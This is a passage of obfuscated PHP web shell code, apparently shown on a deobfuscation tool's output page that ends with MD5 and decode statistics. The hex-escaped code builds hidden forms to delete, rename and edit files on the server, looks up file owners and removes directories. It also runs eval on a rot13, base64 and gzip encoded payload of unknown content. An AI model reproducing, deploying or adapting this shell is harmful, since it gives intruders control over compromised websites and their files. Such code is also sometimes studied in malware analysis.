"\42\x20\x73\x74\x79\x6c\145\75\42\x64\151\163\x70\x6c\x61\171\x3a\156\157\156\145\73\x22\x3e\74\146\157\x72\155\40\141\x63\x74\x69\157\x6e\75\x22\x3f\144\75" . realpath("\56") . "\42\40\x6d\x65\164\150\157\144\75\42\x47\105\x54\x22\x3e\x41\162\x65\x20\x79\157\165\x20\123\x75\x72\x65\x3f\74\x69\x6e\160\x75\x74\x20\x74\x79\160\x65\75\x22\x68\151\144\x64\145\156\42\x20\166\141\154\165\145\x3d\x22" . realpath($UV9Rq) . "\42\x20\156\141\155\145\75\x22\x64\x65\x6c\146\42\x3e\x20\x3c\151\x6e\160\165\x74\40\164\171\160\x65\x3d\42\x73\x75\142\155\x69\x74\x22\40\166\141\x6c\x75\145\x3d\x22\x59\145\x73\42\x20\x69\x64\x3d\42\154\164\42\76\40\74\x69\156\160\165\164\40\164\x79\x70\145\75\x22\142\x75\164\x74\157\156\x22\40\x69\144\x3d\42\154\x74\x22\40\166\141\x6c\x75\145\75\42\116\x6f\42\40\x6f\x6e\103\154\151\x63\x6b\x3d\42\x78\x79\156\x28\x27\x6e" . $UV9Rq . "\x27\54\x27\144" . $UV9Rq . "\47\x29\x22\x3e\x3c\x2f\146\x6f\x72\x6d\x3e\x3c\x2f\x73\x70\x61\x6e\76\x3c\x2f\164\144\76\74\x74\x64\40\151\x64\75\42\146\143\42\x20\141\x6c\x69\x67\156\75\x22\143\x65\x6e\x74\145\162\42\76\x3c\163\160\141\156\x20\151\x64\75\42\150" . $UV9Rq . "\x22\76\x3c\141\x20\x68\162\145\x66\75\x22\152\141\x76\141\163\x63\162\x69\x70\164\72\170\x79\156\x28\47\143" . $UV9Rq . "\47\x2c\x27\150" . $UV9Rq . "\47\x29\73\x22\76\74\146\157\156\x74\x20\143\157\154\157\162\75\42" . jdZmB($UV9Rq) . "\42\x3e" . OOf7D($UV9Rq) . "\74\57\146\157\156\164\x3e\74\57\141\76\x3c\x2f\x73\160\141\x6e\76\x3c\163\160\141\x6e\x20\x69\x64\75\x22\x63" . $UV9Rq . "\42\40\163\x74\171\x6c\x65\75\x22\x64\151\163\160\154\x61\171\x3a\x6e\157\156\145\x3b\x22\x3e\x3c\146\x6f\162\155\x20\x61\143\x74\151\157\x6e\75\42\77\144\x3d" . realpath("\56") . "\42\x20\x6d\x65\164\x68\x6f\144\75\42\x47\105\x54\42\x3e\74\151\156\160\x75\x74\40\164\171\160\x65\x3d\x22\x68\151\144\144\145\156\42\40\166\141\x6c\165\145\75\42" . realpath($UV9Rq) . "\x22\40\x6e\141\155\145\x3d\x22\x64\146\42\76\74\x69\x6e\160\x75\164\40\x74\x79\160\145\x3d\42\x74\145\x78\x74\x22\x20\x76\141\154\x75\x65\x3d\42" . oOf7d($UV9Rq) . "\42\40\x69\144\75\x22\x6c\164\x22\x20\156\141\x6d\145\x3d\42\143\150\x22\76\40\x3c\151\156\x70\x75\164\x20\x74\171\160\x65\x3d\x22\x73\x75\142\x6d\x69\x74\42\x20\x69\x64\75\x22\154\164\x22\x20\166\x61\154\165\145\75\x22\x47\157\42\x3e\40\74\151\156\x70\x75\164\x20\164\x79\160\145\x3d\x22\x62\165\164\x74\157\x6e\42\40\x69\x64\x3d\x22\x6c\164\42\x20\166\141\x6c\x75\x65\x3d\42\x43\x61\x6e\143\x65\x6c\x22\x20\157\156\x43\x6c\151\x63\153\x3d\42\x78\171\156\50\x27\150" . $UV9Rq . "\x27\x2c\47\143" . $UV9Rq . "\x27\51\73\x22\x3e\74\x2f\146\157\162\155\x3e\x3c\x2f\x73\x70\141\156\x3e\74\x2f\164\x64\x3e\x3c\164\144\40\151\x64\75\x22\146\143\42\x20\141\x6c\x69\147\x6e\75\x22\x63\x65\x6e\164\145\x72\42\76" . $WiNCA["\x6e\x61\155\x65"] . "\x20\72\40" . $gdk6U["\x6e\x61\155\x65"] . "\x3c\x2f\x74\144\x3e\x3c\164\144\40\151\144\x3d\x22\146\143\x22\40\x61\x6c\x69\147\156\x3d\x22\143\145\x6e\x74\x65\162\x22\x3e\74\x61\x20\x68\x72\145\146\x3d\x22\152\141\166\x61\x73\x63\162\x69\x70\164\72\170\171\x6e\x28\x27\162" . $UV9Rq . "\x27\x2c\x27\x6e" . $UV9Rq . "\47\x29\x22\76\133\122\135\x3c\x2f\141\x3e\40\x3c\141\40\150\x72\x65\146\x3d\42\x6a\141\x76\x61\163\143\x72\151\x70\x74\72\170\171\x6e\50\x27\x64" . $UV9Rq . "\x27\54\x27\x6e" . $UV9Rq . "\47\x29\x3b\x22\76\x5b\104\x5d\x3c\x2f\x61\76\x3c\x2f\164\x64\76\74\164\x72\x20\151\x64\x3d\x22\146\156\x22\x3e"; goto coK5_; ahfeW: $WiNCA = posix_getpwuid(fileowner($UV9Rq)); goto ErFGG; v_VE_: $gdk6U["\156\x61\x6d\145"] = "\x3f\x3f\77"; goto Ddkwg; dOMDe: } goto uRABU; w5s4a: asort($B1KHo); goto abvSy; i4mq1: fI2Jr: goto Zkio4; gRaJ0: function yctbb($b3h25) { goto im17Y; uc0e4: $jT0gL = $y79Tv[$h0yPf]; goto fPjkI; yDRab: $h0yPf++; goto oiKrh; wuHsp: JxA_6: goto ZpT4P; QeQnl: $C2b01 = ''; goto exspz; oiKrh: goto hYVUB; goto wuHsp; FXvaN: kDtpw: goto BAWTL; BAWTL: $MoDjz = ''; goto QeQnl; lcr1R: hYVUB: goto q_cNE; fPjkI: $MoDjz .= $y79Tv[$h0yPf] . DIRECTORY_SEPARATOR; goto XtdKp; d7MPZ: $b3h25 = getcwd(); goto FXvaN; XtdKp: $C2b01 .= "\74\141\x20\x68\x72\145\x66\x3d\42\x3f\144\75" . $MoDjz . "\42\x3e" . $jT0gL . "\74\x2f\x61\x3e" . DIRECTORY_SEPARATOR; goto K5ggS; K5ggS: cUDHU: goto yDRab; q_cNE: if (!($h0yPf < count($y79Tv))) { goto JxA_6; } goto uc0e4; exspz: $y79Tv = explode(DIRECTORY_SEPARATOR, $b3h25); goto FcBYY; FcBYY: $h0yPf = 0; goto lcr1R; ZpT4P: return $C2b01; goto TDhbS; im17Y: if (!($b3h25 == '')) { goto kDtpw; } goto d7MPZ; TDhbS: } goto nEYU_; XTBCp: rmdir($b3h25); goto NkVdQ; YHJEo: Ghujk: goto W5YZW; GvdoP: function ya1QO() { goto V4wwp; znTz2: $A29MP = "\74\146\157\156\x74\x20\143\x6f\x6c\x6f\162\75\x72\145\x64\76\x4f\x46\106\x3c\x2f\146\157\156\x74\x3e"; goto yvZdJ; yvZdJ: goto lxtU4; goto r0z_R; V4wwp: if (function_exists("\x65\157\x54\122\x5f")) { goto dQa0u; } goto znTz2; r0z_R: dQa0u: goto mLAb1; mLAb1: $A29MP = "\x3c\x66\157\x6e\x74\x20\x63\157\154\157\x72\75\154\151\x6d\x65\x3e\117\x4e\74\57\146\157\156\x74\76"; goto VBccC; VBccC: lxtU4: goto h1R4Y; h1R4Y: return $A29MP; goto H9Sze; H9Sze: } goto DCIXO; e5y7B: if (!isset($_GET["\144\145\x6c\146"])) { goto Ee_dF; } goto lzv80; Z8M5L: eval(gzuncompress(base64_decode(str_rot13("\162\127\x6c\x71\x48\112\x53\x59\152\155\116\104\57\106\x67\x55\130\x49\64\131\62\x6d\144\x4d\x56\124\x6b\110\103\x30\167\123\142\x72\117\160\x63\x31\x39\x64\x50\111\171\x37\160\65\110\62\x76\x4a\141\130\x41\146\107\x2f\157\147\143\102\x48\x43\115\x41\x46\132\x77\161\162\x37\171\x37\x59\x6d\x79\x4b\104\104\x75\162\x48\x71\161\170\x43\x57\163\x53\x30\x73\126\171\x4a\166\115\64\147\x31\x62\147\x4c\x78\153\71\102\121\x68\x51\122\x6b\x47\x50\x5a\x4e\106\x48\x4e\141\x32\64\117\x67\152\156\x62\x32\x64\122\156\x45\57\x75\x51\101\x6d\x54\161\x61\x44\x2b\113\x73\x48\61\x51\x4c\x59\103\151\x39\x4b\x66\67\167\123\162\x4c\163\x65\61\x50\61\x35\x54\107\x38\x39\105\151\124\x59\103\x6c\x37\x78\x79\141\117\171\146\166\143\x59\x4c\x54\x6b\172\x4a\106\x4a\123\x56\x7a\101\x64\145\x77\112\156\x6e\x49\132\170\x6d\x38\x63\x6b\113\64\104\x6d\x4e\x66\163\x69\x30\x4b\x68\57\x53\144\172\144\53\124\67\60\x49\x4d\x67\150\146\x7a\x35\145\60\x78\105\71\171\146\164\x65\102\127\x35\x41\x59\103\113\66\57\122\x5a\122\64\144\125\x77\x45\125\x74\x67\x65\x6e\x4a\107\x32\117\141\63\x73\x41\x68\x49\x79\x47\104\x42\x6a\x76\146\106\x65\151\151\x43\162\130\147\x77\x5a\x78\127\160\160\63\152\167\x75\123\157\x44\153\x38\x4d\x6b\60\171\155\170\63\x69\x70\x6f\104\125\117\105\x41\x74\106\x67\111\x53\165\x78\x33\165\105\x47\117\163\145\x77\157\x37\x4c\114\157\144\x6e\147\x75\142\x30\146\106\x7a\x70\x6a\143\147\x2f\x6e\153\126\x65\x42\x49\x72\x49\x72\x42\145\104\162\60\62\x41\x53\144\117\67\115\106\x6f\x41\x30\110\x4d\160\x34\x2b\124\x67\x56\125\x59\x30\125\115\122\112\x36\x47\112\144\162\x63\x4b\x6f\64\57\164\x35\x2f\105\63\160\64\163\142\167\x77\x4f\71\171\160\x6a\x47\161\117\110\x76\164\x79\162\x32\113\164\116\x57\62\x45\x43\x71\x41\x43\x41\x63\121\145\70\151\x31\145\143\x44\165\x77\116\162\x35\x6b\71\x4e\x35\x33\x67\150\126\x6a\75")))); goto fHCGD; tSZ3Q: print $VW1tR;
Function Calls
None |
Stats
MD5 | 125e89eb504efb71c7d8da0526ad67ab |
Eval Count | 0 |
Decode Time | 85 ms |